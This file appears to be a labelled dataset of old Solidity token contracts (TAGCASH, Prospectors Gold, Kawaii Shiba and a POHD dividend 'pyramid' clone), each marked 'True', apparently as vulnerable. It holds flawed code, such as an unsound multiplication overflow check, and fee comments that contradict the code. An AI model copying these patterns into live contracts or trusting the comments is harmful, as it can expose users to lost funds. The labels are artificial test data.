super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'TAGCASH' token contract
//
// Deployed to : 0xa1b458f88ca51100891db70ff95cd58d359d5072
// Symbol : TAG
// Name : TAGCASH
// Total supply: 100000000
// Decimals : 18
//
//
//
// (c) Tagcash.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract TAGCASH is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function TAGCASH() public {
symbol = "TAG";
name = "TAGCASH";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xa1b458f88ca51100891db70ff95cd58d359d5072] = _totalSupply;
Transfer(address(0), 0xa1b458f88ca51100891db70ff95cd58d359d5072, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.14;
contract ERC20 {
function totalSupply() constant returns (uint supply);
function balanceOf( address who ) constant returns (uint value);
function allowance( address owner, address spender ) constant returns (uint _allowance);
function transfer( address to, uint value) returns (bool ok);
function transferFrom( address from, address to, uint value) returns (bool ok);
function approve( address spender, uint value ) returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract TokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function totalSupply() constant returns (uint256) {
return _supply;
}
function balanceOf(address addr) constant returns (uint256) {
return _balances[addr];
}
function allowance(address from, address to) constant returns (uint256) {
return _approvals[from][to];
}
function transfer(address to, uint value) returns (bool) {
assert(_balances[msg.sender] >= value);
_balances[msg.sender] = sub(_balances[msg.sender], value);
_balances[to] = add(_balances[to], value);
Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) returns (bool) {
assert(_balances[from] >= value);
assert(_approvals[from][msg.sender] >= value);
_approvals[from][msg.sender] = sub(_approvals[from][msg.sender], value);
_balances[from] = sub(_balances[from], value);
_balances[to] = add(_balances[to], value);
Transfer(from, to, value);
return true;
}
function approve(address to, uint256 value) returns (bool) {
_approvals[msg.sender][to] = value;
Approval(msg.sender, to, value);
return true;
}
}
contract Owned
{
address public owner;
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner()
{
if (msg.sender != owner) revert();
_;
}
}
contract Migrable is TokenBase, Owned
{
event Migrate(address indexed _from, address indexed _to, uint256 _value);
address public migrationAgent;
uint256 public totalMigrated;
function migrate() external {
migrate_participant(msg.sender);
}
function migrate_participant(address _participant) internal
{
// Abort if not in Operational Migration state.
if (migrationAgent == 0) revert();
if (_balances[_participant] == 0) revert();
uint256 _value = _balances[_participant];
_balances[_participant] = 0;
_supply = sub(_supply, _value);
totalMigrated = add(totalMigrated, _value);
MigrationAgent(migrationAgent).migrateFrom(_participant, _value);
Migrate(_participant, migrationAgent, _value);
}
function setMigrationAgent(address _agent) onlyOwner external {
if (migrationAgent != 0) revert();
migrationAgent = _agent;
}
}
contract ProspectorsGoldToken is TokenBase, Owned, Migrable {
string public constant name = "Prospectors Gold";
string public constant symbol = "PGL";
uint8 public constant decimals = 18; // 18 decimal places, the same as ETH.
address private game_address = 0xb1; // Address 0xb1 is provably non-transferrable. Game tokens will be moved to game platform after developing
uint public constant game_allocation = 110000000 * WAD; // Base allocation of tokens owned by game (50%). Not saled tokens will be moved to game balance.
uint public constant dev_allocation = 45000000 * WAD; //tokens allocated to prospectors team and developers (~20.5%)
uint public constant crowdfunding_allocation = 60000000 * WAD; //tokens allocated to crowdsale (~27.2%)
uint public constant bounty_allocation = 500000 * WAD; //tokens allocated to bounty program (~0.2%)
uint public constant presale_allocation = 4500000 * WAD; //tokens allocated to very early investors (~2%)
bool public locked = true; //token non transfarable yet. it can be unlocked after success crowdsale
address public bounty; //bounty tokens manager contract address
address public prospectors_dev_allocation; //prospectors team and developers tokens holder. Contract allows to get tokens in 5 periods (180, 360 days, 1, 2, 3 and 4 years)
ProspectorsCrowdsale public crowdsale; //crowdsale contract address
function ProspectorsGoldToken() {
_supply = 220000000 * WAD;
_balances[this] = _supply;
mint_for(game_address, game_allocation);
}
//override and prevent transfer if crowdsale fails
function transfer(address to, uint value) returns (bool)
{
if (locked == true && msg.sender != address(crowdsale)) revert();
return super.transfer(to, value);
}
//override and prevent transfer if crowdsale fails
function transferFrom(address from, address to, uint value) returns (bool)
{
if (locked == true) revert();
return super.transferFrom(from, to, value);
}
//unlock transfers if crowdsale success
function unlock() returns (bool)
{
if (locked == true && crowdsale.is_success() == true)
{
locked = false;
return true;
}
else
{
return false;
}
}
//mint tokens for crowdsale
function init_crowdsale(address _crowdsale) onlyOwner
{
if (address(0) != address(crowdsale)) revert();
crowdsale = ProspectorsCrowdsale(_crowdsale);
mint_for(crowdsale, crowdfunding_allocation);
}
//mint tokens for bounty contract.
function init_bounty_program(address _bounty) onlyOwner
{
if (address(0) != address(bounty)) revert();
bounty = _bounty;
mint_for(bounty, bounty_allocation);
}
//mint tokens for dev. Also mint tokens for very early investors.
function init_dev_and_presale_allocation(address presale_token_address, address _prospectors_dev_allocation) onlyOwner
{
if (address(0) != prospectors_dev_allocation) revert();
prospectors_dev_allocation = _prospectors_dev_allocation;
mint_for(prospectors_dev_allocation, dev_allocation);
mint_for(presale_token_address, presale_allocation);
}
//this function will be called after game release
function migrate_game_balance() onlyOwner
{
migrate_participant(game_address);
}
//adding tokens to crowdsale, bounty, game and prospectors team
function mint_for(address addr, uint amount) private
{
if (_balances[this] >= amount)
{
_balances[this] = sub(_balances[this], amount);
_balances[addr] = add(_balances[addr], amount);
Transfer(this, addr, amount);
}
}
}
contract ProspectorsCrowdsale {
function is_success() returns (bool);
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-10
*/
pragma solidity ^0.5.0;
//
//
//----------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract KawaiiShiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Kawaii Shiba";
symbol = "KIBA";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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pragma solidity ^0.4.20;
/*
* Welcome to Power of HODL (POHD) pohd.io ..
* ==========================*
* ____ ___ _ _ ____ *
* | _ \ / _ \| | | | _ \ *
* | |_) | | | | |_| | | | | *
* | __/| |_| | _ | |_| | *
* |_| \___/|_| |_|____/ *
* *
* ==========================*
* -> What?
* This source code is copy of Proof of Weak Legs (POWL) which is copy of POWH3D
* Only difference is that, you will receive 25% dividends.
*/
contract Hourglass {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "POHD";
string public symbol = "POHD";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 2;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 5e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 10 ether;
uint256 constant internal ambassadorQuota_ = 10 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Hourglass()
public
{
// add administrators here
administrators[0x235910f4682cfe7250004430a4ffb5ac78f5217e1f6a4bf99c937edf757c3330] = true;
// add the ambassadors here.
// One lonely developer
ambassadors_[0x6405C296d5728de46517609B78DA3713097163dB] = true;
// Backup Eth address
ambassadors_[0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41] = true;
ambassadors_[0x448D9Ae89DF160392Dd0DD5dda66952999390D50] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
